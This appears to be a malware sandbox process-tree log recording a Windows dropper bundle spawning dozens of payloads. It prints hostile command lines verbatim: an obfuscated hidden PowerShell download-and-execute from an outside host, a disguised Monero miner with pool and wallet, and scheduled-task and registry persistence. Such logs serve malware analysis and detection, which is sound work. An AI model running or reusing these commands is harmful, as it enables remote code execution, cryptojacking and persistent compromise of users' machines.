C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u28⤵PID:3404
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
PID:5692
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe4⤵PID:1564
-
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu21b9847cb6727.exeThu21b9847cb6727.exe5⤵
- Executes dropped EXE
PID:216
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu21624565bb917a.exeThu21624565bb917a.exe5⤵
- Executes dropped EXE
PID:2196
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu21df5caa1b78de6.exeThu21df5caa1b78de6.exe /mixone5⤵
- Executes dropped EXE
PID:3876 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 6566⤵
- Program crash
PID:3980
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 6726⤵
- Program crash
PID:5704
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 6286⤵
- Program crash
PID:6096
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 8126⤵
- Program crash
PID:5984
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 8886⤵
- Program crash
PID:5432
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 9566⤵
- Program crash
PID:6428
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 11086⤵
- Program crash
PID:6808
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214aaca5625.exe4⤵PID:1960
-
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu214aaca5625.exeThu214aaca5625.exe5⤵
- Executes dropped EXE
PID:3060 -
C:\Users\Admin\AppData\Local\Temp\is-QVK8R.tmp\Thu214aaca5625.tmp"C:\Users\Admin\AppData\Local\Temp\is-QVK8R.tmp\Thu214aaca5625.tmp" /SL5="$501C2,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu214aaca5625.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4280 -
C:\Users\Admin\AppData\Local\Temp\is-ML8GV.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-ML8GV.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Executes dropped EXE
PID:780 -
C:\Program Files\Common Files\XBUNRCOBUQ\ultramediaburner.exe"C:\Program Files\Common Files\XBUNRCOBUQ\ultramediaburner.exe" /VERYSILENT8⤵PID:6900
-
C:\Users\Admin\AppData\Local\Temp\is-0N029.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-0N029.tmp\ultramediaburner.tmp" /SL5="$2040C,281924,62464,C:\Program Files\Common Files\XBUNRCOBUQ\ultramediaburner.exe" /VERYSILENT9⤵PID:7020
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵PID:5432
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9f-a5fdb-22e-6a085-939d313d403e7\ZHaeshaeshotawi.exe"C:\Users\Admin\AppData\Local\Temp\9f-a5fdb-22e-6a085-939d313d403e7\ZHaeshaeshotawi.exe"8⤵PID:6968
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 22849⤵PID:7904
-
-
-
C:\Users\Admin\AppData\Local\Temp\c9-3e765-98e-0d6a9-25f654049325a\Cavibagoko.exe"C:\Users\Admin\AppData\Local\Temp\c9-3e765-98e-0d6a9-25f654049325a\Cavibagoko.exe"8⤵PID:7008
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yjtycide.wmy\GcleanerEU.exe /eufive & exit9⤵PID:8100
-
C:\Users\Admin\AppData\Local\Temp\yjtycide.wmy\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\yjtycide.wmy\GcleanerEU.exe /eufive10⤵PID:5452
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 64811⤵
- Program crash
PID:3984
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 66811⤵
- Program crash
PID:7636
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 67211⤵
- Program crash
PID:8152
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 72411⤵
- Program crash
PID:7016
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ebqrh0h3.n24\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:5096
-
C:\Users\Admin\AppData\Local\Temp\ebqrh0h3.n24\installer.exeC:\Users\Admin\AppData\Local\Temp\ebqrh0h3.n24\installer.exe /qn CAMPAIGN="654"10⤵PID:5336
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\41ksiuuz.sax\anyname.exe & exit9⤵PID:7388
-
C:\Users\Admin\AppData\Local\Temp\41ksiuuz.sax\anyname.exeC:\Users\Admin\AppData\Local\Temp\41ksiuuz.sax\anyname.exe10⤵PID:7256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m4lbzkf3.alx\gcleaner.exe /mixfive & exit9⤵PID:5928
-
C:\Users\Admin\AppData\Local\Temp\m4lbzkf3.alx\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\m4lbzkf3.alx\gcleaner.exe /mixfive10⤵PID:6512
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6512 -s 88011⤵
- Program crash
PID:7988
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0b2yb5ht.co1\autosubplayer.exe /S & exit9⤵PID:6760
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1008 -
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu21568b0ab8.exeThu21568b0ab8.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2724 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵PID:1764
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵PID:2476
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵PID:5188
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:5736
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵PID:2952
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:4340
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
PID:6284
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵PID:1956
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵PID:3364
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵PID:4844
-
C:\ProgramData\5119686.exe"C:\ProgramData\5119686.exe"8⤵PID:2512
-
-
C:\ProgramData\3606084.exe"C:\ProgramData\3606084.exe"8⤵PID:4756
-
-
C:\ProgramData\8730747.exe"C:\ProgramData\8730747.exe"8⤵PID:5136
-
-
C:\ProgramData\3742856.exe"C:\ProgramData\3742856.exe"8⤵PID:5356
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵PID:4776
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4776 -s 15648⤵
- Program crash
PID:3100
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:2760
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 7648⤵
- Program crash
PID:1540
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 8008⤵
- Program crash
PID:6024
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 8888⤵
- Program crash
PID:6460
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 9688⤵
- Program crash
PID:6792
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 9968⤵
- Program crash
PID:7100
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 10688⤵
- Program crash
PID:6680
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 7528⤵
- Program crash
PID:5568
-
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"7⤵PID:1332
-
-
C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"7⤵PID:2300
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵PID:5808
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\WINsoft\43523.bat" "9⤵PID:6208
-
C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exeHWI.exe10⤵PID:6280
-
C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exeHWI.exe11⤵PID:6396
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"12⤵PID:7100
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"13⤵PID:6600
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\14⤵PID:2828
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\15⤵PID:7700
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe" /F14⤵
- Creates scheduled task(s)
PID:6276
-
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\WINsoft\FoxyIDM62s.exeFoxyIDM62s.exe10⤵PID:6640
-
C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp"C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"11⤵PID:1204
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵PID:5496
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵PID:5764
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵PID:5184
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵PID:5660
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵PID:5784
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe4⤵PID:4600
-
C:\Users\Admin\AppData\Local\Temp\7zS4E2B7FE4\Thu2102ff6cfe07c.exeThu2102ff6cfe07c.exe5⤵
- Executes dropped EXE
PID:4880
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-CRQJA.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-CRQJA.tmp\setup_2.tmp" /SL5="$502EE,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"1⤵PID:5508
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT2⤵PID:5176
-
C:\Users\Admin\AppData\Local\Temp\is-O7BP3.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-O7BP3.tmp\setup_2.tmp" /SL5="$303CC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT3⤵PID:5516
-
C:\Users\Admin\AppData\Local\Temp\is-UPRRH.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-UPRRH.tmp\postback.exe" ss14⤵PID:6032
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe ss15⤵PID:4436
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"6⤵PID:6564
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"7⤵PID:6872
-
-
-
C:\Users\Admin\AppData\Local\Temp\U9aZjA727.exe"C:\Users\Admin\AppData\Local\Temp\U9aZjA727.exe"6⤵PID:8012
-
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"7⤵PID:2632
-
-
-
C:\Users\Admin\AppData\Local\Temp\uflDF9gwx.exe"C:\Users\Admin\AppData\Local\Temp\uflDF9gwx.exe"6⤵PID:5836
-
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"7⤵PID:4192
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 15926⤵
- Program crash
PID:4244
-
-
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6072 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6140
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4008
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4780
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:1960
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6680 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:3816
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:8028
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7208
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe1⤵PID:6584
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵PID:7988
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:1836
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C2F2EB2791CBAE04D7EE13F9020147E1 C2⤵PID:5812
-
-
C:\Users\Admin\AppData\Local\Temp\D161.exeC:\Users\Admin\AppData\Local\Temp\D161.exe1⤵PID:1680
-
C:\Users\Admin\AppData\Local\Temp\F778.exeC:\Users\Admin\AppData\Local\Temp\F778.exe1⤵PID:6648
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6736 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6084
-
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe1⤵PID:7852
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵PID:6508
-
-
C:\Users\Admin\AppData\Local\Temp\6853.exeC:\Users\Admin\AppData\Local\Temp\6853.exe1⤵PID:5108